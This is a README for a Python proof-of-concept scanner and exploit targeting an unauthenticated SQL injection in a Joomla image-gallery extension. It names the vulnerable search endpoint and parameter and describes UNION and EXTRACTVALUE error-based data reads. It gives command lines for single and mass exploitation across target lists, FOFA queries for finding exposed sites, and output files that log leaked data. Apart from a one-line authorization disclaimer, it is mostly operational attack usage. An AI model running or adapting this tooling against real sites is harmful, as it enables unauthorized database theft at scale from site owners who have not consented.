
Python 3 PoC scanner and exploit for CVE-2026-88854, an unauthenticated SQL injection in OrdaSoft Joomla Gallery, with mass check and EXTRACTVALUE data-read modes.
Python 3 PoC scanner/exploit for CVE-2026-88854 in OrdaSoft OS Responsive Image Gallery for Joomla.
| Component | com_osgallery, com_osgallery_light |
| Affected | 1.0.0 – 6.2.6 |
| Fixed in | 6.2.7+ |
| CVSS 4.0 | 9.3 (Critical) |
| Auth | None (public mod_osgallery_search) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() read textsearch / searchText via $input->getVar(), which does not apply proper SQL escaping. The value is concatenated into a LIKE clause. Unauthenticated visitors can use UNION-style injection to read database contents.
Typical request surface:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
Legacy installs may use task name searhResult (typo).
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| File | Content |
|---|---|
cve_2026_88854_results.jsonl | Per-target JSON |
hits.txt | Candidate URLs (exploitable_candidate) |
status values (check)audit_scan.py)After a mass check, run audit_scan.py to re-fetch administrator manifests and split targets:
Gallery version is read from the <version> element in administrator/components/com_osgallery/osgallery.xml, not the Joomla extension version= attribute.
EXTRACTVALUE; MariaDB/Postgres, disabled errors, or WAF may yield no leak even when the CVE applies.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Local target lists and run artifacts (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) are in .gitignore and should not be committed.
For authorized security testing only. You are responsible for compliance with applicable laws and program rules.
| Option | Description |
|---|
-u, --url | Single target base URL (subdir installs: include path) |
--list | Target list file (one URL per line) |
--mode | check or exploit |
--subquery | SQL inside EXTRACTVALUE (exploit mode, default SELECT VERSION()) |
--threads, -j | Mass concurrency (default 20) |
--timeout | HTTP timeout seconds (default 20) |
--proxy | HTTP(S) proxy URL |
--output | JSONL results (default cve_2026_88854_results.jsonl) |
--vuln-list | Check → hits.txt; exploit → exploited.txt |
--quiet, -q | Less progress output |
| Status | Meaning |
|---|
sqli_confirmed | Error/time-based SQLi or verified EXTRACTVALUE leak |
likely_vulnerable_version | Manifest version ≤ 6.2.6 + search endpoint |
likely_component | Gallery detected, version unknown |
boolean_inconclusive | Response length diff only (often WAF); not counted as confirmed |
patched_version | Manifest version > 6.2.6 |
component_no_search_endpoint | Component present, search task not reachable |
no_component | com_osgallery not detected |
| File | Content |
|---|
hits_version_lte_626.txt | Manifest gallery version ≤ 6.2.6 |
hits_component_endpoint.txt | Gallery + endpoint, version unreadable |
hits_patched.txt | Manifest > 6.2.6 |
fofa_stale.txt | No component (stale FOFA row) |
cve_2026_88854_audit.jsonl | Enriched JSONL |